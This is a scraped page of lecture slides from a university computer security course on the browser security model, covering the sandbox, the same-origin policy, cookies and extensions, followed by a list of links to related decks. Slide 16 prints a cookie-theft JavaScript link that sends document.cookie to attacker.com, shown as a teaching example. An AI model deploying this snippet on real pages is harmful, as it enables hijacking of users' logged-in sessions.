web security
play

Web Security [Browser Security Model] Spring 2020 Franziska - PowerPoint PPT Presentation

Jul 27, 2023 •560 likes •810 views

CSE 484 / CSE M 584: Computer Security and Privacy Web Security [Browser Security Model] Spring 2020 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John

  1. CSE 484 / CSE M 584: Computer Security and Privacy Web Security [Browser Security Model] Spring 2020 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...

  2. Admin • Assignments – Lab 1 due today – Homework 2 due next Friday – Lab 2 out next week (stay tuned) • Guest lecture on Monday – Emily McReynolds (Microsoft) on law/policy – I will share a Zoom link via an Ed announcement in advance this time ☺ 5/1/2020 CSE 484 / CSE M 584 - Spring 2020 2

  3. Two Sides of Web Security (1) Web browser – Responsible for securely confining content presented by visited websites (2) Web applications – Online merchants, banks, blogs, Google Apps … – Mix of server-side and client-side code • Server-side code written in PHP, Ruby, ASP, JSP • Client-side code written in JavaScript – Many potential bugs: XSS, XSRF, SQL injection 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 3

  4. All of These Should Be Safe • Safe to visit an evil website • Safe to visit two pages at the same time • Safe delegation 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 4

  5. Browser Security Model Goal 1: Protect local system from web attacker → Browser Sandbox Goal 2: Protect/isolate web content from other web content → Same Origin Policy (plus sandbox) 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 5

  6. Browser Sandbox Goals: Protect local system from web attacker; protect websites from each other – E.g., safely execute JavaScript provided by a website – No direct file access, limited access to OS, network, browser data, content from other websites – Tabs (new: also iframes!) in their own processes – Implementation is browser and OS specific* *For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md From Chrome Bug Bounty Program 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 6

  7. Same Origin Policy Goal: Protect/isolate web content from other web content Website origin = (scheme, domain, port) [Example from Wikipedia] 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 7

  8. Same Origin Policy is Subtle! • Some examples of how messy it gets in practice … • Browsers don’t (or didn’t) always get it right... • Lots of cases to worry about it: – DOM / HTML Elements – Navigation – Cookie Reading – Cookie Writing – Iframes vs. Scripts 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 8

  9. HTML + DOM + JavaScript <html> <body> <h1>This is the title</h1> Document Object <div> Model (DOM) <p>This is a sample page.</p> <script> alert(“Hello world”); </script> body <iframe src =“http:// example.com ” > </iframe> </div> h1 div </body> </html> p script iframe body 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 9

  10. Same-Origin Policy: DOM Only code from same origin can access HTML elements on another site (or in an iframe). www.bank.com www.evil.com www.bank.com/ www.bank.com/ iframe.html iframe.html www.bank.com (the parent) www.evil.com (the parent) can access HTML elements in cannot access HTML elements the iframe (and vice versa). in the iframe (and vice versa). 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 10

  11. Browser Cookies • HTTP is stateless protocol • Browser cookies used to introduce state – Websites can store small amount of info in browser – Used for authentication, personalization, tracking … – Cookies are often secrets POST login.php username and pwd HTTP Header: Set-cookie: Browser login_token=13579; Server domain = (who can read) ; expires = (when expires) GET restricted.html Cookie: login_token=13579 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 11

  12. Same Origin Policy: Cookie Reading • Websites can only read/receive cookies from the same domain – Can’t steal login token for another site ☺ Email.com’s www.email.com’s Server www.email.com cookie www.ad.com’s Ad.com’s www.ad.com cookie Server 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 12

  13. Same Origin Policy: Cookie Writing [FYI, not covered in lecture] Which cookies can be set by login.site.com ? allowed domains disallowed domains ✓  login.site.com othersite.com ✓  .site.com .com  user.site.com login.site.com can set cookies for all of .site.com (domain suffix) , but not for another site or top-level domain (TLD) 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 13

  14. Same-Origin Policy: Scripts • When a website includes a script , that script runs in the context of the embedding website. www.example.com The code from <script http://otherdomain.com src =”http:// otherdomain can access HTML elements .com/library.js" > and cookies on </script> www.example.com. • If code in script sets cookie, under what origin will it be set? • What could possibly go wrong …? 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 15

  15. Foreshadowing: SOP Does Not Control Sending • A webpage can send information to any site • Can use this to send out secrets … 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 16

  16. Example: Cookie Theft • Cookies often contain authentication token – Stealing such a cookie == accessing account • Cookie theft via malicious JavaScript <a href="#" onclick="window.location='http://attacker.com/sto le.cgi?cookie =’+ document.cookie; return false;">Click here!</a> • Aside: Cookie theft via network eavesdropping – Cookies included in HTTP requests – One of the reasons HTTPS is important! 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 17

  17. Firesheep https://codebutler.github.io/firesheep/ 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 18

  18. SOP: Who Can Navigate a Frame? [FYI, not covered in lecture] awglogin Solution: Modern browsers only allow a frame to navigate its “descendent” frames window.open("https://www.attacker.com/...", "awglogin") window.open("https://www.google.com/...") If bad frame can navigate sibling frames, attacker gets password! 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 19

  19. Cross-Origin Communication • Sometimes you want to do it … • Cross-origin network requests – Access-Control-Allow-Origin: <list of domains> • Unfortunately, often: Access-Control-Allow-Origin: * • Cross-origin client side communication – HTML5 postMessage between frames • Unfortunately, many bugs in how frames check sender’s origin 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 20

  20. What about Browser Plugins? • Examples: Flash, Silverlight, Java, PDF reader • Goal: enable functionality that requires transcending the browser sandbox • Increases browser’s attack surface • Good news: plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions) 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 21

  21. Goodbye Flash 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 22

  22. What about Browser Extensions? • Most things you use today are probably extensions • Examples: AdBlock, Ghostery, Mailvelope • Goal: Extend the functionality of the browser • (Chrome:) Carefully designed security model to protect from malicious websites – Privilege separation: extensions consist of multiple components with well-defined communication – Least privilege: extensions request permissions 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 23

  23. What about Browser Extensions? • But be wary of malicious extensions: not subject to the same-origin policy – can inject code into any webpage! 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 24

  24. Stepping Back • Browser security model – Browser sandbox: isolate web from local machine – Same origin policy: isolate web content from different domains – Also: Isolation for plugins and extensions • Web application security (next week) – How (not) to build a secure website 5/4/2018 CSE 484 / CSE M 584 - Spring 2019 25

Recommend

What is network security? Friends and enemies: Alice, Bob, Trudy What is network security?

What is network security? Friends and enemies: Alice, Bob, Trudy What is network security?

Network security Network security Foundations: what is security? cryptography Network Security Network Security authentication message integrity key distribution and certification Security in practice: Srinidhi Varadarajan

332 views • 6 slides
Security Security as term, Possible Security violations Authentication Criteria for

Security Security as term, Possible Security violations Authentication Criteria for

BS1 WS19/20 topic-based slides Security Security as term, Possible Security violations Authentication Criteria for Trust in Computer Systems Three hearts of Windows Security DACLs A Look at Security System is secure if

988 views • 20 slides
CPSC410/611: Security Security Security Attacks Security Threats Crypto

CPSC410/611: Security Security Security Attacks Security Threats Crypto

CPSC 410 / 611 : Operating Systems CPSC410/611: Security Security Security Attacks Security Threats Crypto Authentication Examples SSL Security Threats Breach of confidentiality unauthorized access to

458 views • 18 slides
Biometrics and Security Biometrics and Security Biometrics and Security Biometrics and Security

Biometrics and Security Biometrics and Security Biometrics and Security Biometrics and Security

Biometrics and Security Biometrics and Security Biometrics and Security Biometrics and Security WS 06/07 Seminar Prof. Dr.-Ing. Jana Dittmann &amp; Dr.-Ing. Claus Vielhauer with support from Tobias Scheidat

419 views • 16 slides
1 X.800 Security Services X.800 Security Services X.800 Security Services Data integrity

1 X.800 Security Services X.800 Security Services X.800 Security Services Data integrity

Course Overview Course Requirements EECS 498-7/8 Cryptography and Network Security: www.citi.umich.edu/u/honey/security Principles and Practice (Third Edition) Computer Security Monday &amp; Friday, 9:00 10:30 William Stallings

670 views • 19 slides
A (re)introduction to Spring Security Agenda Before Spring Security: Acegi security

A (re)introduction to Spring Security Agenda Before Spring Security: Acegi security

A (re)introduction to Spring Security Agenda Before Spring Security: Acegi security Introducing Spring Security View layer security Whats coming in Spring Security 3 E-mail: craig@habuma.com Blog: http://www.springloaded.info

452 views • 19 slides
Network Security Network Security Srinidhi Varadarajan Network security Network security

Network Security Network Security Srinidhi Varadarajan Network security Network security

Network Security Network Security Srinidhi Varadarajan Network security Network security Foundations: what is security? cryptography authentication message integrity key distribution and certification Security in practice:

634 views • 36 slides
Security Overview Security Goals The Attack Space Security Mechanisms

Security Overview Security Goals The Attack Space Security Mechanisms

CSCE Intro to Computer Systems Security Security Overview Security Goals The Attack Space Security Mechanisms Introduction to Cryptography Authentication Authorization Confidentiality Case Studies Security

472 views • 20 slides
SECURITY TESTING Towards a safer web world AGENDA 1. 3 WS OF SECURITY TESTING 2. SECURITY

SECURITY TESTING Towards a safer web world AGENDA 1. 3 WS OF SECURITY TESTING 2. SECURITY

SECURITY TESTING Towards a safer web world AGENDA 1. 3 WS OF SECURITY TESTING 2. SECURITY TESTING CONCEPTS 3. SECURITY TESTING TYPES 4. TOP 10 SECURITY RISKS Few Security Breaches Date: 2013-14 September 2016, while in negotiations to

404 views • 18 slides
Security Security with Distributed Systems Why Security? The need for security mechanisms in

Security Security with Distributed Systems Why Security? The need for security mechanisms in

Security Security with Distributed Systems Why Security? The need for security mechanisms in distributed systems arises from the desire to share resources Resources must be protected against unauthorized access, as enemies (attackers)

1.16k views • 67 slides
Security Overview Security Goals The Attack Space Security Mechanisms

Security Overview Security Goals The Attack Space Security Mechanisms

CPSC 410/611 Operating Systems Security Security Overview Security Goals The Attack Space Security Mechanisms Introduction to Cryptography Authentication Authorization Confidentiality Case Studies

419 views • 19 slides
International and Global Security 1 Peer Discussion What is security? 2 International

International and Global Security 1 Peer Discussion What is security? 2 International

International and Global Security 1 Peer Discussion What is security? 2 International Security What is security? Freedom from threats to core values? Contestation over referent object: Individual? State? System? How is security achieved?

715 views • 11 slides
Security 101 Definition of Information Security Information security is the protection of

Security 101 Definition of Information Security Information security is the protection of

Computing Services Information Security Office Security 101 Definition of Information Security Information security is the protection of information and systems from unauthorized access, disclosure, modification, destruction or disruption. The

469 views • 22 slides
Security Update Security Plans Our Security plans are For Official Use Only, Safety

Security Update Security Plans Our Security plans are For Official Use Only, Safety

Security Update Security Plans Our Security plans are For Official Use Only, Safety Sensitive Information Not for public or media release F.S. 119.071. Required by law, rule and regulation: Homeland Security Directive 5 and 8.

393 views • 11 slides
Com puter Security Part One Security as a subject Security is an old problem in the

Com puter Security Part One Security as a subject Security is an old problem in the

Com puter Security Part One Security as a subject Security is an old problem in the computing world, and are parallel to even older problems outside computing Required level of security is always related to what you protect

237 views • 23 slides
Introduction to Security Comm. Security Strategy Summary ITS335: IT Security Sirindhorn

Introduction to Security Comm. Security Strategy Summary ITS335: IT Security Sirindhorn

ITS335 Intro. to Security Concepts Threats, Attacks, Assets Introduction to Security Comm. Security Strategy Summary ITS335: IT Security Sirindhorn International Institute of Technology Thammasat University Prepared by Steven Gordon on 2

965 views • 34 slides
Effective Security for the Post-compliance Era Security Awareness and Training for Security

Effective Security for the Post-compliance Era Security Awareness and Training for Security

Effective Security for the Post-compliance Era Security Awareness and Training for Security Specialists M. ANGELA SASSE, RUHR UNIVERSITY BOCHUM &amp; UCL The problem MENSCHLICH WELTOFFEN LEISTUNGSSTARK 2 ENISA Report December 2018

362 views • 33 slides
Security as a Architectural Concern Reid Holmes [TAILOR ET AL.] NFP: Security Security:

Security as a Architectural Concern Reid Holmes [TAILOR ET AL.] NFP: Security Security:

Material and some slide content from: - Software Architecture: Foundations, Theory, and Practice - Krzysztof Czarnecki Security as a Architectural Concern Reid Holmes [TAILOR ET AL.] NFP: Security Security: The protection a ff orded a

160 views • 4 slides
Security of Encryption Security of Encryption Perfect secrecy (IND-Onetime security) is too

Security of Encryption Security of Encryption Perfect secrecy (IND-Onetime security) is too

Defining Encryption (ctd.) Lecture 3 CPA/CCA security Computational Indistinguishability Pseudo-randomness, One-Way Functions Security of Encryption Security of Encryption Perfect secrecy (IND-Onetime security) is too strong (though too

1.36k views • 113 slides
Outline Security Principles and Policies Security terms and concepts CS 239 Security

Outline Security Principles and Policies Security terms and concepts CS 239 Security

Outline Security Principles and Policies Security terms and concepts CS 239 Security policies Computer Security Basic concepts Peter Reiher Security policies for real systems January 13, 2005 Lecture 2 Lecture 2 Page 1

347 views • 9 slides
Chapter 9 Cloud Security Contents Security in an interconnected world, cloud security

Chapter 9 Cloud Security Contents Security in an interconnected world, cloud security

Chapter 9 Cloud Security Contents Security in an interconnected world, cloud security risks. Attacks in a cloud environment, top threats. Security, a major concern for cloud users. Privacy. Trust. Operating systems

661 views • 38 slides
Election Security and Integrity What is election security? What is election integrity? Election

Election Security and Integrity What is election security? What is election integrity? Election

Election Security and Integrity What is election security? What is election integrity? Election Security = Physical Security + Cybersecurity Physical Security Security plans Secure storage of voting machines and electronic pollbooks

341 views • 13 slides
Computer Security environment, without compromising functionality or security? Three parts

Computer Security environment, without compromising functionality or security? Three parts

9/7/2013 Some topics Im working on Computing on encrypted data Information flow: Dynamic IFC in Haskell, web Sandboxing Untrusted JavaScript Third party web tracking and other web security stories Practical web security

572 views • 21 slides
Network Security Where we are in the Course Security crosses all layers Applicatjon

Network Security Where we are in the Course Security crosses all layers Applicatjon

Network Security Where we are in the Course Security crosses all layers Applicatjon Transport Network Link Physical CSE 461 University of Washington 2 Security Threats Security is like performance Means many things

1.12k views • 92 slides

More recommend